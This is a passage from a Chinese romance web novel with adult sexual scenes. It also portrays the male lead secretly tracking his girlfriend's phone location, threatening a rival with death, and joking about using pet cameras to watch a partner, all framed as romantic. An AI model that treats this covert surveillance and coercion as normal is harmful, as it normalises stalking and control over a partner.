他下定结论,把棉花玩偶挤进她脖子下面,恶狠狠挤进到底,让她只能承受不住地抬头换气,不准埋头装鸵鸟。 他一手绕过来掐着她下颌,让她盯着Q版棉花玩具,接着审她:“它可爱吗,是不是玩过它?” 她脸红心燥,想骗他说没有,奈何她不擅长说谎,三两句就被他识破。 他嘲弄地笑了下:“好玩吗?” “好玩。”她咬牙回答他,说完就加倍升温,耳朵烫得要命,那只棉花玩具她有时候会抱着睡觉。 “有多好玩,喜欢玩具还是喜欢我?” “喜欢你” “喜欢我为什么还要玩玩具?” 他怎么这样咄咄逼人啊,她要哭了:“因为因为你不在啊” “是吗,所以是因为想我才玩的?” 她半晌才溢出一声:“嗯,因为想你” “想我的时候是怎么玩的?”邢屹直接把玩具摁在面前,拉链已经合不上了,他让她放手过去,使坏地说,“玩给我看。” 她已经红成一颗车厘子,说什么都不愿意。 邢屹贴在她耳边笑了笑说起镜子,懒散又蛊惑:“怎么不愿意了?不希望被我看着?那我不看你,你对着…自己玩。” “那不还是看吗!” 她直想咬他,坏死了这个人。 邢屹逗够了,笑得胸腔都在颤,很快就按着她肩膀继续逞凶。 一开始还算柔和,他吻得很轻,呼应窗外晨光,最后却抱着她翻来覆去地吻,地震一样剧烈动荡,就连薄被都被扯落在地。 忽然间,门外有细微声响。 ——“诶,家里的供水是不是全都恢复了?二楼的呢?小语昨晚没回来吧,她都没给我发消息。我去看看她房间的浴室。” 三秒后,门锁被拧动。 没反锁。 第35章 回吻“想不想跟我结婚。”(二更)…… 邢美莱以为房间里没人。 一打开门,却看见邢屹站在落地窗边抖被子。 他好像刚睡醒,神情倦倦,漆黑短发翘起一缕,一边抖被子,一边还优哉游哉打了个哈欠。 上半身裸着,全身就一条闲适宽松的灰色运动裤。 邢美莱整个人石化,瞪大双眼迅速看向床上。 床上鼓起一团小包,孟纾语窝在毛毯里,露着圆滚滚的后脑勺,长发散落枕边。 似乎还在睡。 邢美莱的表情仿佛五雷轰顶。 她气不打一处来,瞪住远处的人,咬牙切齿压低音量:“邢屹!出来!” 邢屹转头瞥了小姨一眼,把被子扔回窗边,顺手扯了件白色短袖,一边走一边从头顶套上。 邢美莱在走廊上焦急踱步,回头见他懒懒散散走过来,她立刻上前叉腰,仰着头痛心疾首地看他:“你干嘛呀你,啊?你疯啦?” 邢屹慢悠悠止步,烦心倦目地理了理微乱的短发,皱眉眯起眼,轻扯嘴角:“什么?” “还在这儿跟我什么什么?装蒜是吧,你跟小语,你俩,你俩”邢美莱欲言又止,气得跺脚,“你自己说!” 邢屹无语笑了:“我俩怎么了?” “好意思问我?!”邢美莱火冒三丈,“你俩没怎么?没怎么你能跑人家卧室里睡觉?邢屹你变浑了是吧,在美国待了几年就不学好了是吧,人家女孩子的房间是你可以随便进的吗?你虚岁都23了,正儿八经工作了,小语才多大?她大学都没毕业!还是个学生!你想干嘛呀你,啊?你到底想干什么?!” 邢屹照单全收,手臂向后搭着靠在跃层围栏上,笑得浑不在意:“小姨,你想什么呢,我通宵陪她改论文,困了,顺便就在房间里睡了,睡的是窗台,我俩什么都没有发生,她也好好的,没被我欺负。” 邢美莱一脸“我信你个头”的表情。 邢屹轻描淡写:“真的,不信你去看她电脑,Word云端有时间记录,半夜三点我俩真在改论文,什么都没干。” 邢美莱脸色稍缓,保持气势哼一声:“行,等小语醒了我就问她,要是有半点假,你看我怎么跟你外公告状。” 邢屹漫不经心看向别处,兀自点点头。 邢美莱看他一点异样都没有,心想他应该没在骗人。 邢屹有多正经,她这个当小姨的是知道的。 一晃眼好多年过去了,曾经乖觉谨慎的少年长成了风度凛然的男人。 从小到大,邢屹一直是安分守己优等生,怎么可能在美国待了两年就变坏呢。 不会的不会的。 邢屹一定是个正人君子。 而且刚才进门,他跟小语确实是各睡各的,卧室里一点异常都没有,书桌上也确确实实摆着笔记本电脑。 邢美莱斟酌片刻,语气放缓:“行吧,误会你了。但是姨跟你说啊,哪怕你真的喜欢上人家,你也不能犯浑,知道吗?退一万步来说,就算是小语情窦初开心甘情愿跟你表白,你也不能随随便便占人家便宜。” 邢美莱虽然保养得好,看着年轻,但却实打实是个中年人,想法比较正经传统,都是为了晚辈好。 “而且,小语住来我们家,是我要求的,这才过去几年啊,小语大学都没念完呢,要是孟明德知道自己女儿在别人家里被男生哄骗了,他绝对能提起砍刀追我一路,恨不得把我大卸八块,小姨的命不是命啊?” 邢屹勾唇懒笑,不冷不热地回应着,时而点头时而沉嗓答一声“嗯”。 邢美莱忽然想到,万一事实是,邢屹单方面喜欢人家呢? 一定是喜欢吧。 要是不喜欢,他怎么可能通宵帮人家姑娘改论文?图什么呢。 就没见过他对哪个女孩子这么上心。 邢美莱一脸“我早已将你看穿”的表情,语重心长:“你们都成年了,有些事我不该管,但话还是要说的。你知道,女孩子心软,又容易吃亏,你是男人,要是不打算明媒正娶,就不要把人家骗上床,感情不是拿来玩的,女孩子一颗真心是拿来好好护着的,不是脱了衣服亲两下就算走心的。” 邢屹垂眸放空,忽然笑了。 他倒是想明媒正娶。 可是她不一定愿意。 其实他感觉得出来,孟纾语还是有点抗拒他。 心理上。 邢美莱劝也劝完了,默默下楼 卧室里,孟纾语听着门外渐行渐远的动静,终于敢从床上坐起来。 吓死了,简直要被吓成石像。 心脏像砧板上胡乱蹦跳的鱼,活跃但濒死。 十分钟前的画面不停回放,她清楚记得,邢屹最先听见门外的声音,于是快速扯过毛毯盖在她身上,随后起身套好长裤,整个人直挺挺地站着,拿起落在窗边的被子借题发挥,脸不红心不跳,在规定情景下演了一出戏。 幸好他没控制不住弄出来,否则卧室里的味道将难以名状,演一百出戏都没用。 劫后余生,她蔫了吧唧,软绵绵趴回枕上。 邢屹推门进来,她以为是邢美莱,于是继续装睡。 “是我。” 沉哑嗓音落在头顶。 孟纾语放下心来,翻过身看他,眨眨眼:“没事了吗?” “没事了。”他一手撑在床头,另手摸她脸颊,指腹蹭一蹭被他吻肿 的嘴唇,突然一本正经地说,“问你个问题。” 她茫然点点头:“嗯,你问吧。” “想不想嫁给我。” 音落,世界突然按下静音键。 “啊?”她顿时坐起来,抱着毛毯不知所措。 她目光飘忽,完全没想过这个问题。 抬眸撞进他认真严肃的眼,澄黑旋涡将她拖拽到底,她忽然喘不过气,心跳加速:“你为什么为什么突然问我这个?” 邢屹插着兜站直在床边,冷静重复:“想不想跟我结婚。” 孟纾语憋半天,回一句:“太早了” “那你想什么时候?” “?”可是她没答应要结婚啊,怎么就突然快进到挑选黄道吉日了? 她抱着毛毯坐成一团,老老实实望着他:“结婚要认真商量的,怎么可以一锤定音。” 邢屹面不改色:“那你愿意跟我结吗?” “我” 一阵无可奈何的沉默。 邢屹不动声色,垂眸看她几秒,目光忽而转向别处,若无其事地定了定,他低身,拿起落在地上的睡裙。 轻飘飘甩到她面前。 “洗脸刷牙,下来吃早饭。” 衣服慢悠悠飞过来,她差点被裙摆盖住了脸,默默把睡裙团好挡在胸前,咕哝说:“我感觉我不是很饿” 邢屹都走到门口了,回头冷飕飕瞥她一眼:“胃还要不要了?” “”那还是要的。 但这不是重点。 重点是,她现在太想动。 一动就有点疼。 肿了。 混蛋邢屹,那么凶干什么。 可是明着说出口的话又有点羞耻,邢屹意味深长的目光已经往下瞥,似乎是猜到了什么。 她耳根一红,索性藏着掖着,先催他:“你先下去吧,我换完衣服就下去。” 邢屹没说什么,最后看她一眼,把门带上就出去了。 孟纾语拥着毛毯默默坐了会儿,无精打采的,本来想醒醒神,可是不到一分钟又软下去了。 她侧躺着,拿起手机划拉两下。 宿舍群里有消息。 大家都忙疯学疯了,约今晚去baiser不醉不休。 这两年,baiser已经成了网红酒吧。 因为常嘉参加了一个模特综艺,在节目里保留原生人设,貌美又毒舌,一夜之间成了话题女明星,正当红的时候,又被狗仔拍到她经常进出baiser。 于是这泼天富贵就被baiser接下了,大家都慕名前来打卡,想偶遇明星。曾经一家普通酒吧,现在可谓是灯红酒绿,夜夜笙歌。 舍友们已经定好晚上八点,这会儿都在群里@她。 孟纾语打字回:[好,但是我要早点回家哦,不能陪你们玩太晚] 路露:[嗯?你家里现在有谁呀,怎么消失已久的门禁又重出江湖了?(八卦脸)] “” 主要是回得太晚的话,邢屹肯定会为了逮她而突然出现在她面前。 有点吓人。 她模棱两可地解释:[没有谁啦,主要是想早点回来写论文] 许莓:[宝子你知道邢屹回国了吗?我听别人说的] 路露:[啧,前夫哥。你们见面了吗?] 见了,甚至不是正常距离的见面。 群里八卦了几句就没再问,大家认识三四年,边界感还是有的,前任这种话题,还是不宜多聊。 路露:[那就说好了哈,今晚八点不见不散] [好] 孟纾语回完消息,看一眼时间。 不早了,是该下楼吃早饭了。 她换好衣服,磨磨蹭蹭爬起来。 完了,还是有点疼。 正纠结要不要下床,邢屹忽然开门进来。 他已经换好一套深色系的休闲西服,线条裁剪利落,衬他宽肩窄腰。 她忍不住多看了一眼。 邢屹浑不正经倚在门边笑:“喜欢?要不要扒下来给你玩玩?” “那就不用了。”她坐在床边,顿了顿,“你今天要去总部吗,还是哪个子公司?上次我去澜帆面试实习生,在电梯里听到你的声音了,那天去开股东会议的人是你吗?” “不是我还有谁。”邢屹走过来,捏她的脸玩,“我的声音你听不出来?” 她抱着膝盖,仰头看他,邢屹看她委屈巴巴的样,早就猜到原因了。 他低垂视线,摸摸她脸颊,轻声哄:“下次不那么凶了。” 孟纾语抿唇不语,也不动,只是眼巴巴望着他。 似乎他不主动采取一些行动的话,她就只能可怜巴巴不挪窝了。 邢屹眯起眼。 “想要什么?” 她动了动并紧的膝盖,眨眨眼,手指勾住他袖口。 “想要抱抱。” 第36章 回吻撩完不负责 她撒娇的时候,眼眸总是亮莹莹的,像盛了一汪清水。 邢屹足足三秒钟没说话,就这么低眸看着她,视线冷淡,喉结却动了一下。 “你怎么啦。”她很轻地扯扯他袖口,“抱抱我,好不好” 邢屹稍稍顿住,忽然低头亲她的眼睛,她下意识闭眼,一阵心颤。 下一秒他居然说不想抱,让她自己下床。 “你怎么这样啊”她都肿得动不了了,他居然坐视不管,她继续扯他衣袖,“要抱。” 他眼底泛起笑,十分故意:“要谁抱?” “要你。” “嗯,所以完整的话要怎么说?” “想要邢屹抱抱我。” 她委屈巴巴地求他,邢屹无动于衷,视线却飘了一瞬,罕见地绷了一下嘴角。 他在憋笑? 孟纾语恍然大悟,这个衣冠楚楚的混蛋,居然在故意哄骗她多撒一次娇! 邢屹笑她反应力慢,现在才发现他的不良企图。 她气呼呼不想理他,他迁就地弯下腰,单手搂住她,在她臀上拍了一下:“赌什么气,上来。” 她迟疑片刻,抗拒不了怀抱的诱惑力,慢吞吞地,像树袋熊一样攀上去,双腿缠紧他的腰。 邢屹抱着她走到门后,故意不开门,而是将她抵在门上,她愣了下,很快就被他吻住,他说她怎么这么会撒娇,又这么经不起撩拨,有意思得很,他不会轻易放过她。 舌尖打着圈地追逐,她不稳的气息全被吞没,他时而粗野时而温柔,她挂在他身上承受着攻城略地的吻,软绵绵化成一滩水。 她断断续续呜咽,不到一分钟就被亲迷糊了。 脑海在回味上一秒的舒然悸动,她昏昏沉沉睁开眼,对上他不冷不热又暗含欲望的目光,她浅浅吞咽,主动亲他一下,先礼后兵:“那个可以跟你提几个要求吗?” 他闻言轻轻挑眉。 已经很久没人敢跟他提要求了。 她以为他会不允许,没想到他目光纵容,指腹摩挲她耳朵上的小绒毛,好像很认真,又好像不走心,垂眼打量她泛红的脸颊:“嗯,你说。” 孟纾语斟酌片刻,对他说:“第一,你以后不能乱吃醋,第二,不能随随便便拿别人的性命作威胁,有话要好好说,第三,下次要慢一点。” 她飞快说完最后一句,脸热却装作若无其事,食指点了点他眼尾的小痣。 “就是这些要求,可以做到吗?” 邢屹没说可不可以,只说答应她。 她撇嘴质疑:“不可以只答应,答应了就要做到。” “嗯。”他耷着眼睫,不着调地笑,“听我家小语的。” “ 谁是你家的。“她别过脸咕哝。 攀在他肩上的手臂不小心松了劲,似乎要往下滑,邢屹托着她的臀把她往上抱。 高度恢复,她低垂视线看他,他幽邃目光回视。 彼此之间有种微妙的默契,对视一眼已经心照不宣,邢屹贴过来吻她脖子,她下意识仰头轻哼,听见他沉闷的喘,察觉到他又了,极强的存在感。 两人在门后暗度陈仓,邢屹把她牢牢抵在门板上,吻得凌乱而不顾分寸,她刚刚换好的睡裙又掉落一根肩带,而他西装革履纹丝不乱,简直斯文败类。 不对,一点都不斯文,就纯败类。 她呼吸乱了节奏,搂着他的脖子,在接吻间隙里艰难换气,邢屹得寸进尺,不知不觉相拥着又吻到床上,他忽然问她,你平时玩的呢。 她热得要炸开,闭口不答,邢屹一手拉开床头柜第二层,居然一猜就准,她来不及抢,他已经拿出来,湿巾清洁擦拭,她紧张咬唇,含住低频的嗡嗡声,他又给她涂了点消肿的药,吻她,抚慰她,让她减轻一点不适。 邢屹亲吻她潮红的眼尾,审问她,是不是他在海外的时候她就三天两头让自己这么愉快。 她脑袋埋进他肩膀呜咽:“不一样的” “哪里不一样?”他坏心眼地笑,“说出来。” 快不行了,她下意识将他抱紧:“你很暖。” 刚说完就掐紧他,哆哆嗦嗦的,足足十秒钟说不出话- 缓了十分钟,孟纾语完全醒过神来,邢屹在她脸上捏一下。 “还要不要抱?” 她坐在床边想了想。 “不用了。”说完又有点反悔,手指勾住他西裤侧兜,“要” 邢屹低头看她的动作,下一秒目光移开,手指背蹭了蹭高挺鼻梁,突然牵起嘴角笑了下。 “孟纾语,你最好下次也敢这么勾我。” 邢屹抱她到走廊就把她放下来,她有点草木皆兵,刻意放慢脚步,做贼心虚一般跟在邢屹后面。 两人一前一后下楼吃早饭。 餐桌对面,邢美莱纠结半天,问她有没有被邢屹欺负。 她立刻摇头:“没有,邢屹帮我改论文了。” 其实心虚得要命,说完就埋头沉默,金属叉戳了戳盘里的荷包蛋。 邢美莱姑且相信:“那就好。吃饭吧,一会儿不是要去公司吗,注意时间哦。” 差点忘了,她已经收到澜帆的正式offer,上午要去办实习入职手续。 “好,我会早点去的。” 邢屹置身事外,坐在一旁划手机。 她以为昨晚闹那么多次,他早已经贤者模式了,没想到他人模狗样,继续在桌下碰她的腿。 她身形一滞,不甘心地碰回去,邢屹顺势勾住她,鞋尖冰冷的皮革质感擦过她小腿,她浑身一激灵,早知道就不挑衅他了。 “走了。”邢屹若无其事站起身,勾起搭在椅背的外套,边走边穿上,回头瞥她一眼,“送你过去?” 孟纾语余光留意着莱姨的眼神,客客气气说:“我们好像不顺路诶。” “无所谓,反正是林泽开车。” 在车里摸鱼看小说的林泽打了个喷嚏。 孟纾语转念一想,这时候拒绝反而有鬼,不如大大方方应下:“那我去换套衣服,马上就好。” 于是蹬蹬蹬跑上楼。 邢屹靠在钢琴旁等人下楼,邢美莱抱着胳膊远远打量他,越看越不对劲:“你老实说,是不是真的喜欢人家?” 他坦荡地笑:“我有说过不喜欢吗?” 邢美莱顿时噎住,没好气地问:“那你觉得人家喜欢你吗?” 邢屹还是那副让人来气的懒散样:“这就不知道了,您帮我问问?” ——“我好啦。” 孟纾语拎着包蹦蹦跳跳下楼,一件纯白软绸上衣,束着一条深色包臀裙,平底单鞋,脚踝淡青色的血管清晰可见。 他视线上下一扫,想起昨晚就握着她脚踝,直接架了上来。 她的柔韧性不是一般的好。 邢美莱看见两人一起出门,心下一叹。 其实邢屹他,从小就没得到过自己想要的。 亲生母亲把他当成情绪发泄工具,一点像样的爱都不分给他,最严重的一次,是把尚且年幼的他摁进盛满水的洗手池里,想淹死他。 他挣扎着自救,第二天就在家里纵了火。 在他最痛苦的时候,是那只白绒绒的马尔济斯舔舐他的伤口。 可是不到几年,他养的小狗就莫名其妙地死了。 后来,外公对他好,也不过是想培养一个合格的家族继承人。 他表面云淡风轻,心里不知道藏了多少事。 十三岁被接过来之后,邢美莱偶尔听见他说,想再养一只小狗。 最好也是白白的,乖乖的,一被摸摸脑袋就会主动蹭他掌心。 邢美莱不介意家里有小动物,心想,如果他需要一份情绪价值来疗愈那些灰暗无助的过往,那么再养一只宠物也无可厚非。 于是对他说:“想养就养吧,没关系。” 十来岁的邢屹浅浅一笑,说:“还早。” 十点半,孟纾语准时到达公司,在电梯里打开手机前置,检查口红。 好吧,在车里的时候就已经邢屹亲掉了。 她默默补上。 到达楼层,部门主管邹姐给她办好入职手续,领她到工位介绍同事和工作任务。 一周实习三天,主要做一些辅助工作,可以适当调休。 孟纾语记下之后便开始整理工位,正好是午休时间,她听见正式员工聊八卦,说那个李总被调任了。 有人幸灾乐祸:“调哪儿了?” “三亚那边的子公司。” “哈哈哈,这不是被流放贬职了吗?惹到谁了吧。” 孟纾语嗅出一丝蹊跷。 怎么莫名其妙被调任了? 该不会是 “小孟,有空吗,帮忙送一下咖啡。”邹姐正在忙,只好把送咖啡的活交给她,“来,给你梯控卡,坐直达电梯上去,进101室,记得先敲门哦,听说那一位脾气不太好。” “好的。” 她乖乖接过咖啡杯。 实习总是从打杂开始。 101好像是专属的休息室,不知是哪个高层刚开完会,碰巧在这儿歇神。 她止步在门口,谨慎敲门:“您好,方便进去吗?给您送咖啡。” 里面没声。 她透过细细的门缝往里瞄。 男人正靠在沙发上翻杂志,懒洋洋搭着二郎腿,似乎在故意等人。 “” 他怎么在这儿。 既然是他,那就没有太多顾虑了。 孟纾语推门进去,规规矩矩把咖啡放桌上。她经过他面前,邢屹眼皮都不撩一下,根本没看她,手里的杂志又翻了一页。 她觉得气氛有点古怪,这人到底想干嘛呢。这里是公司,又是他的专属休息室,不宜久留,她心想送完咖啡就走吧。 于是悄无声息转身。 邢屹正好放下杂志,突然伸手揽过她的腰,把她拎到身上坐着。 力气很大,她霎时无措,下意识勾住他脖子保持平衡,一抬眸就撞进他沉静目光。 这条裙子不太方便,她侧身坐在他身上,双腿下意识并拢,他手掌压在她膝盖上,眼神吊着她,懒腔懒调:“实习第一天就让你送咖啡?” 孟纾语舔舔唇,乖觉笑了笑:“没关系的,小事情。” 她胸口还挂着实习工作牌,邢屹拿起来端详片刻,唇角微弯,似乎起了什么兴致,下一秒就捧起她的脸啄了一记。 她害怕有人进来,一时拘谨,像只小木偶一样坐在他怀里。 一点回应都不给,邢屹了无生趣地笑了下,掌掴一记就放她走了。 “回去吧,撩完不负责的小坏蛋。” 究竟是谁撩谁呢。 孟纾语怔了怔,发现自己的低马尾散开了,发绳也不知所踪。 她只好从他身上蹭下去,爬在沙发上找发绳。 邢屹冷森森瞥她一眼,指尖玩弄了几下发绳,目光顺着她下塌的腰身,一直落到她细白的脚踝。 他喉结动了动。 他家小语果然很擅长塌腰。 “邢屹,我发绳呢?你是不是拿了?”一回头,撞上他意味不明的视线,她突然感觉很热,回过身,压着脚后跟坐直,靠近他,掰开他的掌心。 果然在这儿,她气鼓鼓拿走,“你好讨厌,又偷我发绳。” “转过来。” 邢屹让她背对着坐在他身上,他给她绑头发。 她拗不过他,只好安安分分地坐着。 头发还没绑完,他胯骨突然往上顶了一记,她惊叫出声,整个人弹起一瞬,向后攥住他手臂才堪堪保持平衡。 脸已经红透。身后的男人究竟是什么坏东西,在外面也这么坏。 “好了。” 他倒是气定神闲,完全没有做完坏事的愧疚感,甚至怡然自得。 虽然他非常气人,但却给她扎了个完美的低马尾,不松不紧,几缕发丝垂在她耳边,温柔又灵巧。 她坐在他身上,拧着腰身朝后转去,对上他太子爷一般倨傲闲适的眼神。 忽然想起刚才那一下还没清算,她气闷地捏他喉结,他攥住她的手,审她:“今晚准备去哪儿浪?” “去酒吧。”她眨眨眼,果然什么事都瞒不过他,“你不要犯病,我会早点回家的。” 邢屹目光往下撩,在她后面用力掐揉一下:“小骗子,你最好说到做到。” 第37章 回吻他找不到她了。 “你才是骗子。” 孟纾语起身离开他怀抱,邢屹圈住她的腰把人拦住,一下就把她翻转,她迎面跌到他肩上,半个身子嵌在他双腿之间。 衣摆溜进一股凉风,他一只手丈量她的腰,有点痒。 落在她领口的眼神倦怠又欲求不满,他靠着沙发背,手指轻点她腰窝,气音浑闷:“你觉不觉得白天很长。” 她眼睫微颤:“什么?” “白天事情多,每次都要等天黑了才能做//爱。” 这个人真是 好想捂住他的嘴。 “你早上不是刚” “不算。”他轻飘飘说,“都没来得及浇你。” “” 孟纾语不想听他荒。淫无度,下一秒就逃之夭夭。 过了会儿,一双水灵灵的眼睛又从门缝探进来,乖巧眨了眨:“记得吃午饭哦。” 邢屹面不改色点头,等她走了,他撇过头看着窗外高楼大厦,缓缓牵起嘴角,松懒一笑 时间摔了个跟头。 转眼到晚上。 baiser火了之后位置就很难约,不过幸好,许莓有男友给的内部通行证,寝室四人两两结伴,直接从侧门进去。 人很多,四人逐渐分散成一排,在昏暗长廊里一路穿行,跟一帮吹着口哨的潮男擦肩而过,偶尔还看见几个人高马大的外籍保镖。 孟纾语嗅出不同寻常的味道,边走边问:“今晚有明星来了吗?” 许莓跟上来说:“好像是诶,听说那个谁,周宜岚?就是常嘉在综艺里的死对头,她来了。” 难怪。 一边走一边听路露在身后说:“常嘉今晚也在吧,她最近没什么通告,经常来这儿玩,有人说她在蹲邢屹。” “嘘。”许莓作噤声手势,“小语在这儿呢,不要提前任。” 路露连忙闭嘴。 其实她没有注意听,一直在看长廊两边的鱼缸,里面有几只小鲨鱼。 许莓也看见了,顿时伤春悲秋:“鲨鱼不是应该生活在海里吗,养在鱼缸里的话,它不会快乐吧。” 路露:“老板喜欢养吧。养鲨鱼又不犯法,这有啥的。” 许莓:“如果喜欢它,不是更应该把它放回海里吗?为什么要一门心思占有它呢,你看它游得好慢,病恹恹的,鱼缸再大也只是个鱼缸而已,它已经没有自由了。” 陈雅甜平静插话:“刚刚游过去的那只是加州星鲨,一种可人工饲养的温带深海鲨,主要分布在” 路露:“啊啊你不许科普了!我们是来玩的不是来上课的。” 陈雅甜:“好的。” 四人有说有笑进到卡座区,酒保将她们领到提前预约好的位子。 这里正对live舞台,一束暖光斜斜照过来,座位上的一举一动,被第三层挑台上的人看得一清二楚。 邢屹脱了外套搭在围栏上,黑绸衬衫敞开两颗扣,他背靠着围栏百无聊赖,手里转着一个高阶魔方,侧头往下看,一眼就捕捉到一个讨人喜欢的脑袋。 ——“哈喽。” 近旁飘来一股香水味。 邢屹扫了对方一眼,当没看见,目光依旧落向上一秒注视的方位。 周宜岚顿时花容失色。 搞什么,她可是费了好大功夫才来到这一层,居然被无视了。 她快速调整好心态,一袭黑裙摇曳生姿,凑到邢屹旁边,脸上堆着笑:“听说常嘉还在追你?” 邢屹看都不看她一眼,回话也不走心,语气嘲弄:“听说,听谁说?” “圈子里呀,大家都是这么传的,说她死心塌地追你好多年了,你一直不搭理她。” “所以你觉得我会搭理你?” “万一你喜欢我这款呢。”周宜岚迎难而上,“我要是现在吻你,常嘉会气疯吧?” 邢屹眼风扫过来:“准备好了吗?” 周宜岚愣住。 不是吧,瞎猫撞上死耗子,他真的同意跟她接吻? “准备好了就过来,明天热搜第一就是你的讣告。” 邢屹冷森森移开视线,似乎多看一眼都嫌烦。 周宜岚怵起一身鸡皮疙瘩,咽咽喉咙说:“别这么凶嘛。听说你很久没碰女人了,真的假的?” 邢屹没说话,手机贴着裤兜震出一声提示。 他拿起来,低眸查看。 屏幕里的小红点不移不动。 挑台之下,女孩子安安静静坐在桌前,披散着乌黑长发,薄毛衣脱下来叠放在一旁,打底的宽松吊带勾勒若隐若现的曲线。 台上是男模表演,她眼神像放空,却也看得目不转睛,时不时轻咬吸管嘬一口特调。 看得这么专心? 邢屹冷涔涔眯起眼。 周宜岚顺着他捉摸不透的视线看过去。 以为他在观察常嘉。 常嘉正在舞台旁边的小角落里猫着,短上衣个性又大胆,露着一整个光洁后背。 秦双在她旁边半蹲着,一只膝盖撑住地面,认真修理一个闲置的音乐设备。 他越是专心修东西,眉心就拧得越紧。 常嘉盯着他紧锁的眉,嘀嘀咕咕:“再买不就行了吗,干嘛要修,好麻烦。” 秦双专注拧螺丝,语气温淡:“大小姐,不是谁都像你一样,钱多得没处花。” 常嘉无话可说,转着眼珠子四下看看。 先是看见不远处的孟纾语,心里高兴,决定一会儿就去找她玩。 再往上看,冷不丁发现作死已久的周宜岚。 真服了,这女的哪来的胆子,竟然敢去勾那位冷面阎王。 不好,要是被孟纾语看见了,她会不会很难过?前男友不找她复合,反而被妖艳女明星勾搭。 常嘉义愤填膺,眉毛横竖。 秦双循着她幽怨目光看过去,几秒后收回视线,低头拧螺丝,状似不经意问:“邢屹没找你,你吃醋了?” 正好一阵音浪掀起,常嘉没听清:“啊?你说什么?” “没什么。”秦双收好工具箱,就这么撂挑子不干了,“懒得修了,买新的吧。” “不修就不修,冲我甩什么脸色,莫名其妙。” 常嘉骂骂咧咧起身,直奔第三层vip区。 周宜岚目睹全程,以为常嘉被她气到掀翻醋坛了。 她喜不自胜,搭讪计划愈发变本加厉,枣红色指尖掏出一张酒店房卡,塞进男人挽起的黑衫衣袖里,语气娇柔:“你要 是想要的话,我今晚等你。” 邢屹掠她一眼,皮笑肉不笑:“再往我这儿凑,凌晨之前就能刷到你的讣告。” 周宜岚惊出一身冷汗,干笑两声,迅速收回房卡。 勾搭行动以惨败告终。 可是旁观者迷,在别人眼里,邢屹不是在无情打发她,而是在跟当红女明星谈笑风生。 孟纾语还在观察台上的男模,心想他们跳舞就跳舞吧,为什么非要把内裤边边露出来,好骚啊。 路露突然晃她胳膊:“诶诶!上边有你前男友。我了个去,他跟周宜岚好上了?” 孟纾语茫然抬头。 路露还在实况转播:“我靠我靠,常嘉走过去了。她把周宜岚拽走了。周宜岚跟她吵起来了。她帅气回击了!妈呀,争风吃醋了吗?这什么抓马情节啊,难道是因为邢屹喜欢上周宜岚,所以常嘉看不下去了,想力挽狂澜?唉,三个人的世界,好拥挤啊。” 孟纾语默默看着第三层挑台,咬吸管的力道重了些。 在邢屹转头看过来的前一秒,她已经收回视线,闷闷不乐。 “我去洗手间。” 她离开卡座。 坏东西,不允许她跟别的男生说话,自己却跟女明星聊得那么开心。 等等。 她是吃醋了吗。 意识到这个事实,她自己都懵了。 快步走到洗手区,打开水阀用冷水静一静。 洗手区是男女共同,下一秒,身边突然多了个人。 ——“好久不见啊。” 卓耀明? 她转头看去,果然是他。 他晒黑了些,身上耳钉项链一应俱全,一副花花公子的样。 孟纾语收回视线继续洗手,不太想搭理他。 卓耀明捧起冷水浇在脸上,抬头对着镜子整理发型,神清气爽又好奇地问:“你跟邢屹还在一起呢?” 问得阴阳怪气的。 “怎么了?跟你没关系吧。” “我当然知道跟我没关系。但咱俩好歹是老同学,认识那么久了,我实话实说吧,我确实喜欢过你,所以不希望你被他伤害。” 话术一套一套的,谁信。 “是吗,喜欢我所以欺负我一整个学期?” “嗐,那会儿不是年纪小吗。我承认,我初中的时候是挺幼稚的,喜欢一个人就想疯狂扯她的辫子吸引她注意力。但我做的事,跟邢屹对你做的事比起来,简直是小儿科。” 卓耀明顿了会儿又问:“你知道他大学辅修计算机吧?” “知道,那又怎么了?” “你小心被他用电子设备监视。” 她怔住。 很快恢复冷静:“你不要胡说。” “不信吗,你早就被监视了。” 霎那间心乱如麻,她宁可相信是卓耀明喝醉了酒胡说八道:“无凭无据,我为什么信你。” “不信就算了,我也只是为你好。与其在这儿质疑我,不如亲自去问他,看他承不承认。”卓耀明含讥带讽地走开。 孟纾语木然低头,水阀口坠落一滴水珠 另一边,周宜岚已经被常嘉拖走并加以制裁。 卡座区没了熟悉的身影,邢屹漫不经心回到包厢,一路看着手机屏里的小红点。 红色定位标志一直停在卫生间外面,没挪位置。 很古怪。 他微微眯起眼。 包厢里乌烟瘴气,邢屹坐在沙发一角划手机,烟酒全都不碰,一言不发孤立所有人。 严帆搂着自己的小女友接吻,剩下两个发小在争论赛车改装的问题,只有彭霖一本正经撑在桌面上,翻着项目计划书勾勾画画。 “这个监控的识别程序我觉得还可以再调整一下。” 严帆插嘴:“还要怎么调啊,屹不是帮你升级过一次了吗?现在这版是3.0了吧,够完美了。” 彭霖琢磨片刻:“不行,这玩意儿本来就是给宠物用的,但它现在有个明显的bug,如果有小孩或是身材瘦的人经过,程序也能自动识别成宠物,用户依旧能收到系统提示。这不乱套了吗?” “诶?还能这样啊。”严帆捏着自己小女友的脸,黏黏糊糊说,“在你房间里安装一个,我天天盯着你。” 小女友羞恼娇嗔,两人打情骂俏,彭霖鸡皮疙瘩都起来了:“真变态,这款监视器是给宠物用的,不是给人用的,你别来真的啊。” 那边吵吵闹闹,邢屹充耳不闻,兀自懒恹恹撑着额头,指尖轻点太阳穴。 终于,屏幕里的红点慢慢挪动。 回到卡座区了。 孟纾语不动声色坐回位子,路露关心她:“怎么这么久,身体不舒服吗?” “没事。”她抿出一个若无其事的笑,“继续玩吧。” 四人喝酒玩游戏,她心不在焉,总是输。 输了就要喝酒。 一连十几杯,有点上头了。 室友们诧异:“哎哟你不是说要早点回家的吗,怎么这么快就喝醉了?” 孟纾语软在桌上,下巴埋进臂弯,耷拉着眼睫,盯着面前空空如也的酒杯。 几人商量着把她送回去,刚扶着她走出座椅,已经有人搀住她胳膊。 ——“怎么啦?怎么醉了?” 是常嘉。 “嘉嘉啊”孟纾语软乎乎对她笑了笑。 两人早就熟络,她软绵绵钻进常嘉怀里,主动抱抱。 常嘉以为她吃醋难过,所以才喝了这么多酒,更是为她打抱不平:“没事没事,不难过,姐送你回家。” 室友们完全状况外,来不及要签名呢,常嘉简单告辞,转头就带着孟纾语走了。 她最近瘦了太多,本来就够瘦了,现在简直是一折就断的纸片人。 常嘉搀着她一路走,生怕她被风吹跑。 终于带她走出酒吧,进到露天停车场,停在一辆炫酷小跑前问她:“回家吗?还是去我那里住一晚?” 孟纾语懵懵的,站在车前发呆。 车窗玻璃映出她的脸,眼尾和鼻尖红通通的,像哭过一样。 她还没醒过神,突然被另一人拽走,踉踉跄跄,一头扎进他怀里。 